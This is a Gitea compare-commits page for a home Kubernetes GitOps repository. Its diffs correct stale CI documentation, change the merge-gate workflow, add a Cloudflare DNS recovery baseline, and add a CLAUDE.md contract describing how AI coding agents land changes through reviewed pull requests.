Compare commits
134
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1ea73544c9 | ||
|
|
296d6d3275 | ||
|
|
55b232e2ce | ||
|
|
b93594b7c8 | ||
|
|
0749562ad0 | ||
|
|
76b265cd62 | ||
|
|
f6e8fb1fee | ||
|
|
6ef4def2b5 | ||
|
|
cac5c9f2a3 | ||
|
|
762c3833fc | ||
|
|
6dd0914df9 | ||
|
|
ad5de2dba9 | ||
|
|
b105c764fc | ||
|
|
ab9ba32a76 | ||
|
|
529556d7c7 | ||
|
|
8619c60e6e | ||
|
|
01679a0681 | ||
|
|
ea0c0632d2 | ||
|
|
ae5c7385a5 | ||
|
|
19f9a8ae0c | ||
|
|
c59fe9f923 | ||
|
|
72a46ad82d | ||
|
|
cadf64a514 | ||
|
|
cfbc596b8b | ||
|
|
c59a4b76bb | ||
|
|
cd2617e5b3 | ||
|
|
8697702d51 | ||
|
|
d29a73cad8 | ||
|
|
07f03536b3 | ||
|
|
e993d0f7d1 | ||
|
|
0c6949ed98 | ||
|
|
20ea70d221 | ||
|
|
8c7a770de2 | ||
|
|
1c5974013e | ||
|
|
4791d4a43a | ||
|
|
dfd608ac32 | ||
|
|
1d2d9d6549 | ||
|
|
4b31f97486 | ||
|
|
50a48e6f07 | ||
|
|
911ead5fbd | ||
|
|
8eb5baffa4 | ||
|
|
4634b44cc7 | ||
|
|
6586919132 | ||
|
|
e6f6e4febb | ||
|
|
e8e6b9c681 | ||
|
|
fcc66c7858 | ||
|
|
b9e8a4f9e8 | ||
|
|
b2d9883958 | ||
|
|
00efd4b828 | ||
|
|
67a54a33a4 | ||
|
|
db1a623073 | ||
|
|
ce271225de | ||
|
|
e72050c690 | ||
|
|
761e25cc3f | ||
|
|
e7508931ca | ||
|
|
bf98a99af6 | ||
|
|
8e017fad91 | ||
|
|
27d0ef3324 | ||
|
|
bbd4f682a6 | ||
|
|
0391139240 | ||
|
|
e9f441b5ce | ||
|
|
234cc6a71a | ||
|
|
69a0d1a1c7 | ||
|
|
d3a0d587a4 | ||
|
|
fe862ab527 | ||
|
|
a2665c0511 | ||
|
|
5a9e455149 | ||
|
|
4fd75ccdaa | ||
|
|
d7f24d0a9e | ||
|
|
712f4c9336 | ||
|
|
e3e56af461 | ||
|
|
a3f4ddb971 | ||
|
|
5f3ea63b7f | ||
|
|
23c335257b | ||
|
|
9339d5a79e | ||
|
|
a1cc0a5556 | ||
|
|
6eaaaae334 | ||
|
|
cde02d19d2 | ||
|
|
05a8094785 | ||
|
|
d99d47494c | ||
|
|
6f231a4311 | ||
|
|
623fa14256 | ||
|
|
16cbd4a79e | ||
|
|
755c08ab40 | ||
|
|
b389566641 | ||
|
|
7887ecbbdc | ||
|
|
d717d8e979 | ||
|
|
bc106caac1 | ||
|
|
79c703bc79 | ||
|
|
3523617671 | ||
|
|
6a4dc0ada7 | ||
|
|
14d5ccbadd | ||
|
|
05881d5a6a | ||
|
|
cf0d6c6beb | ||
|
|
20a28d0993 | ||
|
|
b184a42729 | ||
|
|
3173254cc4 | ||
|
|
7cb209b9a0 | ||
|
|
12d4e0ae40 | ||
|
|
989781b352 | ||
|
|
97257515e8 | ||
|
|
b4bc8e1cb9 | ||
|
|
83f13f4b0a | ||
|
|
adda6dd779 | ||
|
|
4664b41db3 | ||
|
|
4545611f4d | ||
|
|
fd43f332d6 | ||
|
|
4080065aa7 | ||
|
|
ce7819a7da | ||
|
|
3de79f81a5 | ||
|
|
5c96f4f3a7 | ||
|
|
79d9ab2c8c | ||
|
|
de861b8672 | ||
|
|
207c939f89 | ||
|
|
aae63c97a3 | ||
|
|
3a72b07cda | ||
|
|
b9f3143f42 | ||
|
|
7369495b67 | ||
|
|
dafa9cd241 | ||
|
|
0841e2461c | ||
|
|
8891df07b0 | ||
|
|
268b0a26b4 | ||
|
|
4f2ca8c1a3 | ||
|
|
bd17b65db9 | ||
|
|
24b8111d0c | ||
|
|
229d7f2d9c | ||
|
|
a62242bd78 | ||
|
|
bfb4922de1 | ||
|
|
f663e7c801 | ||
|
|
d96165e8fb | ||
|
|
52398d4426 | ||
|
|
4687521d65 | ||
|
|
69a99e6ca6 | ||
|
|
16c6234696 |
No files matched your search
+29
-15
@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
|
||||
## The pipeline
|
||||
|
||||
```
|
||||
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
||||
live now cluster-gated (SKIPS in Phase 0)
|
||||
```
|
||||
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
|
||||
*collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
|
||||
(`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
|
||||
|
||||
## Honest SKIP — never fake green (Phase 0)
|
||||
## Honest SKIP — never fake green
|
||||
|
||||
**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
|
||||
**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
|
||||
exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
|
||||
skip logic below is still correct and still honest, but read it as describing a **live
|
||||
coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
|
||||
phrased as a phase is part of why the gap went unexamined.
|
||||
|
||||
Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
|
||||
they do not pass**:
|
||||
|
||||
- The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
|
||||
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
|
||||
## Triggers & branch model (CONTRIBUTING.md)
|
||||
|
||||
- `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
|
||||
- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
|
||||
- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
|
||||
so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
|
||||
**No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
|
||||
protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
|
||||
|
||||
## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
|
||||
## Transition: COMPLETE (2026-09-29)
|
||||
|
||||
Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
|
||||
[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
|
||||
This section used to describe a migration as pending. It has happened. Gitea is live at
|
||||
`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
|
||||
`gate.yml` runs on every PR.
|
||||
|
||||
1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
|
||||
but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
|
||||
local feature-branch → `main`, the gate enforced by convention + the local runner.
|
||||
2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
|
||||
3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
|
||||
enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
|
||||
`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
|
||||
**platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
|
||||
**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
|
||||
anyone checking the platform. In reality `main` had **no branch protection** and **zero
|
||||
runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
|
||||
between rested on an assertion nobody verified. PR #1 — the first pull request this
|
||||
repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
|
||||
|
||||
So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
|
||||
Query the API. `infra/gitea/` holds the scripts and the measured state.
|
||||
|
||||
Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
|
||||
`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
|
||||
CI. That is a real coverage gap, not a phase.
|
||||
|
||||
## Configuration (set in Gitea; referenced by name only)
|
||||
|
||||
|
||||
@@ -44,16 +44,31 @@
|
||||
---
|
||||
name: gate
|
||||
|
||||
# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
|
||||
#
|
||||
# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
|
||||
# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
|
||||
#
|
||||
# * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
|
||||
# SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
|
||||
# clock on the one result that actually gates the merge. That cost real time during the
|
||||
# 2026-09-29 plex claim, where the loop is racing a short-lived token.
|
||||
# * The list silently did not match this repo's own convention. Branches here are `feat/**`,
|
||||
# which was absent, so the "fast feedback" never fired for the most common prefix anyway —
|
||||
# a mismatch nobody noticed for a month because its only symptom was a MISSING run.
|
||||
# Any hand-maintained prefix list has that failure mode; deleting it removes the class.
|
||||
# * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
|
||||
# you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
|
||||
# same checks buys nothing.
|
||||
#
|
||||
# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
|
||||
# which no PR context exists.
|
||||
on:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- 'feature/**'
|
||||
- 'fix/**'
|
||||
- 'docs/**'
|
||||
- 'chore/**'
|
||||
|
||||
concurrency:
|
||||
group: gate-${{ github.ref }}
|
||||
@@ -95,9 +110,31 @@ jobs:
|
||||
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
|
||||
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
|
||||
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
|
||||
# GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
|
||||
# OWN database (branch protection + runner registration) — the blind spot that let `main`
|
||||
# sit unprotected with zero runners for a month while this repo recorded both as working.
|
||||
# Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
|
||||
#
|
||||
# WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
|
||||
# (spec-immutability). It now also covers gitea-settings skipping when that secret is
|
||||
# absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
|
||||
# every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
|
||||
# exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
|
||||
# tolerance narrows back to spec-immutability alone.
|
||||
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
|
||||
env:
|
||||
GATE_STRICT_SKIPS: "true"
|
||||
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
|
||||
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
|
||||
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
|
||||
# skipping, this line turns that into a failure and the PR goes red instead of
|
||||
# merging. Green here means the token resolved and the live Gitea matched the
|
||||
# declaration in infra/gitea/expected-branch-protection.json.
|
||||
REQUIRE_GITEA_SETTINGS: "true"
|
||||
# ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
|
||||
# PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
|
||||
GITHUB_EVENT_NAME: ${{ github.event_name }}
|
||||
PR_NUMBER: ${{ github.event.pull_request.number }}
|
||||
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
||||
|
||||
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
||||
|
||||
@@ -11,11 +11,14 @@
|
||||
# v
|
||||
# merge-gate decision [R-TEST-03: touched subset green]
|
||||
#
|
||||
# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
|
||||
# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
|
||||
# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
|
||||
# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
|
||||
# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
|
||||
# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
|
||||
# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
|
||||
# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
|
||||
# as a plan and never revisited once the plan completed.
|
||||
#
|
||||
# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
|
||||
# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
|
||||
# statement about the live platform; query the API instead (see infra/gitea/).
|
||||
#
|
||||
# CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
|
||||
# scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
# RECOVERY BASELINE — the COMPLETE Cloudflare record set for zone `keithjackson.dev`
|
||||
# as it stood IMMEDIATELY BEFORE feat/externaldns-scope-public-only is applied.
|
||||
#
|
||||
# WHY THIS FILE EXISTS. The branch that adds it changes which resources ExternalDNS considers,
|
||||
# and ExternalDNS runs `policy: sync` — a record whose source stops matching is DELETED, not
|
||||
# merely left alone. That is a one-way, outward-facing operation against a live authoritative
|
||||
# zone, so the pre-state is captured and committed BEFORE the change lands, and any record the
|
||||
# reconcile removes can be restored by hand from this file. It is the same discipline as
|
||||
# dns-before.txt / dns-verify.txt / dns-post-l2.txt beside it, applied to a destructive-capable
|
||||
# change rather than to a migration.
|
||||
#
|
||||
# CAPTURED 2026-09-14 from the Cloudflare API (GET /zones/<id>/dns_records, all pages) using the
|
||||
# SOPS-encrypted token in platform/externaldns/cloudflare-api-token.sops.yaml. Read at the
|
||||
# AUTHORITY, not through a resolver: 1.1.1.1 served stale answers for minutes after the
|
||||
# 2026-09-13 apex flip and must not be trusted for this. `dig` is on the host but NOT in the
|
||||
# devcontainer, which has previously produced false "no records" readings — the API is the only
|
||||
# reading that is both complete and authoritative.
|
||||
#
|
||||
# FORMAT (5 fields, `|`-separated) — wider than the sibling files on purpose: a restore needs the
|
||||
# TTL and the proxy flag, not just the value.
|
||||
#
|
||||
# <type>|<name>|<content>|<ttl>|<proxied>
|
||||
#
|
||||
# ttl 1 = Cloudflare "Automatic". proxied false = DNS-only (grey cloud), which every record here
|
||||
# is; a restore that flips one to proxied would put Cloudflare's edge in front of a LAN address.
|
||||
#
|
||||
# 39 records. 36 of them are ExternalDNS-managed (18 A + their 18 `a-`-prefixed TXT registry
|
||||
# entries), every one registered `external-dns/owner=prod` — i.e. THIS cluster owns them, which
|
||||
# is why this cluster's reconcile is able to delete them. The remaining 3 belong to the legacy
|
||||
# non-k3s stack and carry NO TXT registry entry, so no owner id claims them and ExternalDNS
|
||||
# cannot touch them regardless of what this branch does:
|
||||
#
|
||||
# *.keithjackson.dev -> 136.51.115.252 legacy stack (the zone wildcard)
|
||||
# brickbreak.keithjackson.dev -> 20.236.242.14 unrelated, off-prem
|
||||
# dev.brickbreak… -> 20.236.242.14 unrelated, off-prem
|
||||
#
|
||||
# NOTE there is NO `*.home.keithjackson.dev` wildcard in the zone any more (the comment in
|
||||
# clusters/prod/kustomization.yaml still says the zone has both wildcards; it does not, as of
|
||||
# this capture). A single-label wildcard does not match two labels, so `*.keithjackson.dev` does
|
||||
# NOT cover `<svc>.home.keithjackson.dev`: when a specific `<svc>.home` record is removed, that
|
||||
# name goes to NXDOMAIN publicly rather than falling back to the legacy IP. That is the intended
|
||||
# end state for `internal` services and it is also precisely why Pi-hole must already be
|
||||
# answering the LAN authoritatively before this branch merges.
|
||||
#
|
||||
# WHICH OF THESE THIS BRANCH DELETES — the 12 rows for the six `exposure: internal` catalog
|
||||
# services (jackett, pihole, qbittorrent, radarr, semaphore, sonarr): each one's A record and its
|
||||
# `a-`-prefixed TXT registry entry. Nothing else. Verified live on prod against the deployed
|
||||
# v0.21.0 with a throwaway hostname before any of this was authored: adding the annotation to an
|
||||
# HTTPRoute that already had a published record produced
|
||||
# `action=DELETE record=... type=A` and `action=DELETE record=a-... type=TXT` one reconcile
|
||||
# interval (~60s) later, and nothing else in the zone moved.
|
||||
#
|
||||
# TO RESTORE ONE ROW BY HAND (both halves, or ExternalDNS will not recognise the record as its
|
||||
# own): recreate the A record with its value/ttl/proxied from this file, then recreate the
|
||||
# matching `a-<name>` TXT with its content VERBATIM — the `heritage=…,external-dns/owner=prod,
|
||||
# external-dns/resource=…` string is what re-establishes ownership. An A record restored without
|
||||
# its TXT is unowned and will not be reconciled; a TXT restored with a wrong `resource=` value
|
||||
# points the registry at a source object that does not exist.
|
||||
A|*.keithjackson.dev|136.51.115.252|1|false
|
||||
A|auth.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|brickbreak.keithjackson.dev|20.236.242.14|1|false
|
||||
A|crafty-mc.home.keithjackson.dev|192.168.2.22|1|false
|
||||
A|crafty.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|dev.brickbreak.keithjackson.dev|20.236.242.14|1|false
|
||||
A|gitea.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|grafana.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|headlamp.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|jackett.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|keycloak.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|nextcloud.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|pihole.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|plex.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|qbittorrent.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|radarr.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|seerr.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|semaphore.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|sonarr.home.keithjackson.dev|192.168.2.20|1|false
|
||||
A|unifi.home.keithjackson.dev|192.168.2.21|1|false
|
||||
TXT|a-auth.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/oauth2-proxy/oauth2-proxy"|1|false
|
||||
TXT|a-crafty-mc.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/crafty/crafty-l4-tcp"|1|false
|
||||
TXT|a-crafty.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/crafty/crafty"|1|false
|
||||
TXT|a-gitea.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/gitea/gitea-3000"|1|false
|
||||
TXT|a-grafana.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/monitoring/grafana"|1|false
|
||||
TXT|a-headlamp.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/headlamp/headlamp"|1|false
|
||||
TXT|a-home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/homepage/homepage"|1|false
|
||||
TXT|a-jackett.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/jackett/jackett-9117"|1|false
|
||||
TXT|a-keycloak.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/keycloak/keycloak"|1|false
|
||||
TXT|a-nextcloud.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/nextcloud/nextcloud-80"|1|false
|
||||
TXT|a-pihole.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/pihole/pihole-80"|1|false
|
||||
TXT|a-plex.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/plex/plex-32400"|1|false
|
||||
TXT|a-qbittorrent.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/qbittorrent/qbittorrent-8080"|1|false
|
||||
TXT|a-radarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/radarr/radarr-7878"|1|false
|
||||
TXT|a-seerr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/seerr/seerr-5055"|1|false
|
||||
TXT|a-semaphore.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/semaphore/semaphore-3000"|1|false
|
||||
TXT|a-sonarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/sonarr/sonarr-8989"|1|false
|
||||
TXT|a-unifi.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/unifi/unifi-l4-tcp"|1|false
|
||||
@@ -0,0 +1,192 @@
|
||||
# CLAUDE.md — how work lands in this repo
|
||||
|
||||
Read this before doing anything durable. It is the delivery contract for AI coding
|
||||
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
|
||||
takes precedence on *what* to work on; this file governs *how* it lands.
|
||||
|
||||
## 1. Never push to `main`. Ever.
|
||||
|
||||
Every durable change reaches `main` exactly one way:
|
||||
|
||||
branch -> push the branch -> open a PR -> CI gate green -> human approval -> merge
|
||||
|
||||
There is no other path. Specifically:
|
||||
|
||||
- **Do not `git push origin main`.**
|
||||
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
|
||||
- **Do not merge your own PR.** See the approval model below — and either way, the merge is
|
||||
someone else's action, never yours.
|
||||
|
||||
### Who approves
|
||||
|
||||
**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
|
||||
branch requires no human approval for one. That is a deliberate transfer of authority, on the
|
||||
operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
|
||||
good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
|
||||
add a human.
|
||||
|
||||
**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
|
||||
admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
|
||||
approving review from someone who is not its author. The reason is narrow and structural — **a
|
||||
change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
|
||||
the weakened check. Everything else merges on green.
|
||||
|
||||
The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
|
||||
sensitive path, so the policy cannot be widened or narrowed without a human.
|
||||
|
||||
That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
|
||||
missing credential is a lock-out, here a skip would be a bypass.
|
||||
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
|
||||
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
|
||||
|
||||
> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
|
||||
> That wording is **stale** — it predates the PR flow. It describes what Flux does
|
||||
> (main is what the cluster follows), not what you are permitted to do. Honour this
|
||||
> file, not that line. Fixing those runbooks is tracked work.
|
||||
|
||||
## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
|
||||
|
||||
Verified against the live Gitea on 2026-09-29:
|
||||
|
||||
| Expected | Actual |
|
||||
|---|---|
|
||||
| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
|
||||
| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
|
||||
| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
|
||||
| Approval required before merge | ✅ `required_approvals: 1` |
|
||||
|
||||
All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
|
||||
true. They are true now because each was measured, and the push rejection was provoked rather
|
||||
than assumed. **Re-measure before relying on any of them** — see §2b.
|
||||
|
||||
Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
|
||||
CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
|
||||
|
||||
**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
|
||||
the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
|
||||
strength of a check you have not seen report — and note that a **skipped** Gitea job
|
||||
reports as `success`, so a green tick is not by itself evidence that anything ran.
|
||||
|
||||
## 2b. Never infer platform state from this repository
|
||||
|
||||
**This repo is not evidence about the live platform.** Neither is the handoff log
|
||||
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
|
||||
believed at the time of writing, and both have been confidently wrong for a month at a
|
||||
stretch.
|
||||
|
||||
On 2026-09-29 the log stated the merge gate was a required status check with a runner
|
||||
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
|
||||
of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
|
||||
was wrong, and nothing in the tree could have revealed it, because the tree was the source
|
||||
of the error.
|
||||
|
||||
**So, before asserting that any gate, protection, runner, secret, or workload is in a
|
||||
given state: query the thing itself.**
|
||||
|
||||
| Claim about... | Check |
|
||||
|---|---|
|
||||
| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
|
||||
| a runner exists | `GET /api/v1/admin/actions/runners` |
|
||||
| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
|
||||
| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
|
||||
| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
|
||||
|
||||
Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
|
||||
"unverified" is a legitimate report, and a far better one than a confident guess that
|
||||
matches the docs.
|
||||
|
||||
**A green tick is not proof anything ran.** Read what actually executed.
|
||||
|
||||
## 3. Gate before you push
|
||||
|
||||
./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
|
||||
|
||||
Exit codes are a contract — do not flatten them:
|
||||
|
||||
| rc | Meaning |
|
||||
|---|---|
|
||||
| 0 | PASS |
|
||||
| 1 | BLOCKED — something failed |
|
||||
| 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
|
||||
|
||||
`spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
|
||||
beside this one; that single skip is expected and tolerated. Any *other* skip is a
|
||||
real gap in your run.
|
||||
|
||||
**Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
|
||||
so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
|
||||
|
||||
### Running the gate from a git worktree
|
||||
|
||||
Two unrelated failures, both with known workarounds — put both in any agent brief:
|
||||
|
||||
1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
|
||||
and exists only in the main checkout. Do **not** copy it (it is a credential).
|
||||
Use `DEV_KUBECONFIG=/dev/null` — the gate contacts no cluster, so L2/L3 scaffold-skip
|
||||
normally.
|
||||
2. **Every `git` call inside the container fails:** a worktree's `.git` is a pointer to a
|
||||
gitdir outside the mounted root. `dev.sh` takes no extra-mount flag, so inject one via
|
||||
the `ENGINE` hook — a shim that intercepts `run` and re-execs
|
||||
`podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
|
||||
`tracked_files()` is this bug, not a broken tree.
|
||||
|
||||
## 4. Branch naming
|
||||
|
||||
Use `feat/`, `fix/`, `docs/`, `chore/`. Note that `.gitea/workflows/gate.yml`'s **push**
|
||||
trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
|
||||
The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
|
||||
|
||||
## 5. Cluster access
|
||||
|
||||
`kubectl` does not work on the operator workstation; the toolchain lives only in the
|
||||
pinned container. Always name the context explicitly:
|
||||
|
||||
./infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
|
||||
|
||||
`dev.sh` merges both clusters and picks a current-context **per invocation**; that
|
||||
default has already changed once. Never rely on it. Do not run two `dev.sh`
|
||||
invocations concurrently.
|
||||
|
||||
**Mutating `kubectl` and `flux reconcile` are operator actions, not agent actions.**
|
||||
|
||||
## 6. Secrets
|
||||
|
||||
- **Never `sops -d` a file into a terminal, a log, or a transcript.**
|
||||
- **Never print a Secret's `.data`/`.stringData`** when checking whether it exists —
|
||||
list key names or object names only. A password has been leaked into a transcript
|
||||
this way before.
|
||||
- Encrypted files are `*.sops.yaml` or live under `secrets/`. The root `.sops.yaml` is
|
||||
the single creation-rules file; do not add a second one in a subtree.
|
||||
- A short-lived credential (e.g. a plex.tv claim token, ~minutes) cannot survive the PR
|
||||
flow. Do not design around committing one — read the expiry from the issuing page and
|
||||
treat a burnt token as free to retry.
|
||||
|
||||
## 7. Before you finish — write a handoff entry, in its OWN file
|
||||
|
||||
Add **one new file**:
|
||||
|
||||
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
|
||||
|
||||
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
|
||||
|
||||
## What changed
|
||||
## What I verified
|
||||
## What I did NOT verify
|
||||
|
||||
